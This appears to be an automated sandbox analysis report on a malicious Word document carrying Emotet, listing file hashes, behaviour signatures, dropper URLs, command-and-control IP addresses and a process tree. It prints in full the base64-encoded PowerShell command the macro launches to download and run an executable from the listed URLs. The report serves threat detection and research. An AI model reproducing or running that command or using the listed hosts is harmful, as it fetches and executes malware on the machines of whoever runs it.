Analysis

  • max time kernel
    61s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01-08-2020 19:37

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12932.19584.10385.doc

  • Size

    169KB

  • MD5

    ad4dab090e9db1de2ce2972440becfa5

  • SHA1

    f5bce1285800898458044ff22dd93e5795a5e92e

  • SHA256

    58c574f8ab938e878c2d66861aa38821876dcb5a156c46ac9985a8b59f97bb8c

  • SHA512

    87f4d9f18704cdfa8ff11610ef5ed945cb2b68a9c48ccebea363b29b10d1d8f8ecc0ffe4d13c3856c9be6ed6e9d811d7da3d0b613f7b06a4ef56f4eb4d3c96ce

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://mktf.mx/wp-includes/nf_p0w_z87k/

exe.dropper

http://dragonfang.com/nav/pu_4cz89_3e81ooa90c/

exe.dropper

http://maxiquim.cl/cgi-bin/qa0_i_qzk/

exe.dropper

https://www.planetkram.com/egherdbaseball/z_xu00_9hbk939elw/

exe.dropper

http://meulocal.com.br/suspend-page/0e_wt5bq_ekn/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 2 IoCs
  • Modifies registry class 280 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12932.19584.10385.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:316
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABWAEcASgBLAFgAbQB4AGUAPQAnAEQARQBWAFIAVgB4AGgAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAUgBgAEkAdAB5AHAAcgBvAHQAbwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwASwBGAFIATQBkAHAAZAAgAD0AIAAnADEANAAnADsAJABBAEEASABOAFkAYgBuAGgAPQAnAFQAQgBNAE8AQgBhAGcAZwAnADsAJABGAFoAUgBWAEkAdQBtAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwASwBGAFIATQBkAHAAZAArACcALgBlAHgAZQAnADsAJABWAEMARQBYAEUAbQBpAG8APQAnAFQATwBIAEsAWQBkAHEAYwAnADsAJABJAFoASwBYAEsAdwBzAHoAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAYwBsAGkAZQBOAHQAOwAkAFYASQBDAFoAUgBzAHkAcgA9ACcAaAB0AHQAcAA6AC8ALwBtAGsAdABmAC4AbQB4AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AbgBmAF8AcAAwAHcAXwB6ADgANwBrAC8AKgBoAHQAdABwADoALwAvAGQAcgBhAGcAbwBuAGYAYQBuAGcALgBjAG8AbQAvAG4AYQB2AC8AcAB1AF8ANABjAHoAOAA5AF8AMwBlADgAMQBvAG8AYQA5ADAAYwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAeABpAHEAdQBpAG0ALgBjAGwALwBjAGcAaQAtAGIAaQBuAC8AcQBhADAAXwBpAF8AcQB6AGsALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHAAbABhAG4AZQB0AGsAcgBhAG0ALgBjAG8AbQAvAGUAZwBoAGUAcgBkAGIAYQBzAGUAYgBhAGwAbAAvAHoAXwB4AHUAMAAwAF8AOQBoAGIAawA5ADMAOQBlAGwAdwAvACoAaAB0AHQAcAA6AC8ALwBtAGUAdQBsAG8AYwBhAGwALgBjAG8AbQAuAGIAcgAvAHMAdQBzAHAAZQBuAGQALQBwAGEAZwBlAC8AMABlAF8AdwB0ADUAYgBxAF8AZQBrAG4ALwAnAC4AIgBTAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4AVABMAEkASwBlAGcAawA9ACcAUgBRAFUAUgBQAHIAYgBzACcAOwBmAG8AcgBlAGEAYwBoACgAJABMAE8AUABEAEUAcwBiAG4AIABpAG4AIAAkAFYASQBDAFoAUgBzAHkAcgApAHsAdAByAHkAewAkAEkAWgBLAFgASwB3AHMAegAuACIARABvAHcAbgBgAEwAYABPAEEAZABgAEYASQBMAEUAIgAoACQATABPAFAARABFAHMAYgBuACwAIAAkAEYAWgBSAFYASQB1AG0AcwApADsAJABUAEMAVgBWAEUAawBnAHQAPQAnAEkASgBDAEoAWAB5AGkAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAWgBSAFYASQB1AG0AcwApAC4AIgBsAGAAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADYAMAA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBFAGEAYABUAEUAIgAoACQARgBaAFIAVgBJAHUAbQBzACkAOwAkAE4AUgBBAFEAVABmAHEAeAA9ACcAQwBaAFEASgBHAGUAeAB6ACcAOwBiAHIAZQBhAGsAOwAkAFMATwBCAEIAUQBtAHkAYgA9ACcASQBUAFYASgBXAGUAZwBmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQATABDAFAATgBtAGYAcgA9ACcAUwBaAFcARQBBAHkAbABhACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:1064
  • C:\Users\Admin\14.exe
    C:\Users\Admin\14.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1336
    • C:\Windows\SysWOW64\NlsLexicons0007\fms.exe
      "C:\Windows\SysWOW64\NlsLexicons0007\fms.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1652

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\14.exe
  • C:\Users\Admin\14.exe
  • C:\Windows\SysWOW64\NlsLexicons0007\fms.exe
  • memory/316-0-0x0000000006080000-0x0000000006180000-memory.dmp
    Filesize

    1024KB

  • memory/316-2-0x0000000008880000-0x0000000008884000-memory.dmp
    Filesize

    16KB

  • memory/316-3-0x0000000006C40000-0x0000000006E40000-memory.dmp
    Filesize

    2.0MB

  • memory/316-4-0x0000000006C40000-0x0000000006E40000-memory.dmp
    Filesize

    2.0MB

  • memory/316-5-0x000000000ADF0000-0x000000000ADF4000-memory.dmp
    Filesize

    16KB

  • memory/316-6-0x000000000BE70000-0x000000000BE74000-memory.dmp
    Filesize

    16KB

  • memory/1336-10-0x00000000003A0000-0x00000000003AC000-memory.dmp
    Filesize

    48KB

  • memory/1652-11-0x0000000000000000-mapping.dmp
  • memory/1652-13-0x00000000002B0000-0x00000000002BC000-memory.dmp
    Filesize

    48KB